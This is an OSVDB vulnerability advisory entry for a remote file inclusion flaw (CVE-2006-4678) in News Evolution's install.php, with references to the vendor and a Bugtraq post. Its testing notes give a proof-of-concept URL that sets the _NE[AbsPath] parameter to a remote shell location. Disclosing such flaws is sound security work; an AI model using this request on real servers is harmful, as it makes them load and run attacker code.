News Evolution install.php _NE[AbsPath] Variable Remote File Inclusion

2006-09-07T13:20:26
ID OSVDB:30789
Type osvdb
Reporter OSVDB
Modified 2006-09-07T13:20:26

Description

Manual Testing Notes

http://[target]/[path]/install.php?_NE[AbsPath]=[shell]

References:

Vendor URL: http://www.comscripts.com/jump.php?action=script&id=825 Related OSVDB ID: 30790 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0115.html CVE-2006-4678